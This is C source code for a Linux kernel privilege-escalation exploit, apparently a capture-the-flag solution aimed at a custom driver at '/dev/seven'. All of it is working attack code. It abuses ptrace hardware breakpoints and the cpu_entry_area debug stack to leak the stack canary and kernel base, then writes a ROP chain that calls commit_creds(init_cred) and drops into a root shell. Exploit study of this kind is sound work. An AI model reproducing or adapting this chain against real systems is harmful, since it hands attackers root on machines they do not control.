1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <linux/keyctl.h> #include <sys/ptrace.h> #include <sys/user.h> #include <stddef.h> #include <signal.h> #include <stdint.h> #include <sys/utsname.h> #include <syscall.h> #include <sys/prctl.h>
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0 #define MMAP_ADDR 0x1234000 #define MMAP_SIZE 0x2000
size_t user_cs, user_ss, user_rflags, user_sp; int dev_fd; int pipe_fd[2], rop_pipe[2]; size_t canary; size_t kernel_offset; size_t leak; size_t commit_creds = 0xffffffff810eeec0; size_t init_cred = 0xffffffff82e8abe0; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81e010b0; size_t pop_rdi = 0xffffffff810aaa80;
void err_exit(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); }
void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void bind_cpu(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); }
void print_binary(char* buf, int length){ printf("---------------------------------------------------------------------------\n"); printf("Address info starting in %p:\n", buf); int index = 0; char output_buffer[80]; memset(output_buffer, '\0', 80); memset(output_buffer, ' ', 0x10); for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){ char temp_buffer[0x10]; memset(temp_buffer, '\0', 0x10); sprintf(temp_buffer, "%#5x", index); strcpy(output_buffer, temp_buffer); output_buffer[5] = ' '; output_buffer[6] = '|'; output_buffer[7] = ' '; for(int j=0; j<16; j++){ if(index+j >= length) sprintf(output_buffer+8+3*j, " "); else{ sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF); if(!isprint(buf[index+j])) output_buffer[58+j] = '.'; else output_buffer[58+j] = buf[index+j]; } } output_buffer[55] = ' '; output_buffer[56] = '|'; output_buffer[57] = ' '; printf("%s\n", output_buffer); memset(output_buffer+58, '\0', 16); index += 16; } printf("---------------------------------------------------------------------------\n"); }
void get_root_shell(void) { if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!\033[0m"); sleep(5); exit(EXIT_FAILURE); }
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m"); puts("\033[34m\033[1m[*] Execve root shell now...\033[0m"); system("/bin/sh"); exit(EXIT_SUCCESS); }
void create_hbp(pid_t pid, void* addr) { if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg), addr) == -1) { printf("Could not create hbp! ptrace dr0: %m\n"); kill(pid,9); exit(1); } if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) { printf("Could not create hbp! ptrace dr7: %m\n"); kill(pid,9); exit(1); } }
void arb_write(uint8_t value) { ioctl(dev_fd , 0x7204 , value); }
void change_rcx() { bind_cpu(1); puts("[+] write cpu_entry_area DB_STACK -> rcx"); while (1) { arb_write(0x10); } }
void hack_hbp() { bind_cpu(0); ptrace(PTRACE_TRACEME, 0, NULL, NULL);
struct utsname* uts = (struct utsname*)MMAP_ADDR; int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t); int step = 0;
while (1) { raise(SIGSTOP); switch (step) { case 0: uname(uts); if (((uint64_t*)uts)[oob_idx]) { puts("[+] OOB Read Stack Data Successfully"); write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE); step++; } break; case 1: puts("[+] Wait for ROP chain"); if (read(rop_pipe[0], MMAP_ADDR, MMAP_SIZE) < 0) err_exit("read ROP chain"); puts("[+] Get ROP chain successfully"); step++; break; case 2: puts("[+] Try to write ROP chain"); struct prctl_mm_map mm_map; mm_map.start_code = 0x1000000; mm_map.end_code = 0x1100000; mm_map.start_data = 0x1000000; mm_map.end_data = 0x1100000; mm_map.start_brk = 0x2000000; mm_map.brk = 0x2000000; mm_map.start_stack = 0x1000000; mm_map.arg_start = 0x1000000; mm_map.arg_end = 0x1000000; mm_map.env_start = 0x1000000; mm_map.env_end = 0x1000000; mm_map.auxv = MMAP_ADDR; mm_map.auxv_size = 0x140; mm_map.exe_fd = -2; prctl(PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(struct prctl_mm_map), 0); break; default: break; } } }
void init() { ioctl(dev_fd, 0x7201, CPU_ENTRY_AREA_DB_STACK_RCX_ADDR); for (int i = 0; i < 5; i++) { ioctl(dev_fd, 0x7202, 2); }
for (int i = 0; i < 11; i++) { ioctl(dev_fd, 0x7202, 1); }
ioctl(dev_fd, 0x7203, 0); ioctl(dev_fd, 0x7203, 1); ioctl(dev_fd, 0x7203, 2); }
int main() { save_status();
dev_fd = open("/dev/seven",O_RDONLY); if (dev_fd < 0) err_exit("open device failed!");
init();
mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
pipe(pipe_fd); pipe(rop_pipe);
pid_t pid1, pid2;
puts("[+] fork a process to trigger hbp"); pid1 = fork(); if (!pid1) { hack_hbp(); exit(0); }else if (pid1 < 0){ err_exit("fork pid1 failed!"); }else{ waitpid(pid1, NULL ,NULL); }
pid2 = fork(); if (!pid2) { change_rcx(); exit(0);
}else if (pid2 < 0){ err_exit("fork pid1 failed!"); }
create_hbp(pid1, MMAP_ADDR); struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN }; while (1) { if (ptrace(PTRACE_CONT, pid1, NULL, NULL)) err_exit("ptrace PTRACE_CONT"); waitpid(pid1, NULL, NULL); int res = poll(&fds, 1, 0); if (res > 0 && (fds.revents & POLLIN)) { read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE); break; } }
print_binary(MMAP_ADDR+sizeof(struct utsname), 0x100); memcpy(&canary, MMAP_ADDR+sizeof(struct utsname), 8); memcpy(&leak, MMAP_ADDR+sizeof(struct utsname) + 0x20, 8); printf("[*] canary is 0x%lx\n", canary); printf("[*] leak is 0x%lx\n", leak); kernel_offset = leak - 0xffffffff810d7182; printf("[*] kernel offset is 0x%lx\n", kernel_offset);
pop_rdi += kernel_offset; init_cred += kernel_offset; commit_creds += kernel_offset; swapgs_restore_regs_and_return_to_usermode += kernel_offset;
memset(MMAP_ADDR, 0 , MMAP_SIZE); size_t *rop_chain = MMAP_ADDR; int canary_idx = 0x30; int idx = 0x37;
rop_chain[canary_idx] = canary; rop_chain[idx++] = pop_rdi; rop_chain[idx++] = init_cred; rop_chain[idx++] = commit_creds; rop_chain[idx++] = swapgs_restore_regs_and_return_to_usermode + 54; rop_chain[idx++] = 0; rop_chain[idx++] = 0; rop_chain[idx++] = (size_t)get_root_shell; rop_chain[idx++] = user_cs; rop_chain[idx++] = user_rflags; rop_chain[idx++] = user_sp; rop_chain[idx++] = user_ss;
write(rop_pipe[1], rop_chain, MMAP_SIZE);
while (1) { if (ptrace(PTRACE_CONT, pid1, NULL, NULL)) err_exit("ptrace PTRACE_CONT"); waitpid(pid1, NULL, NULL); }
}
|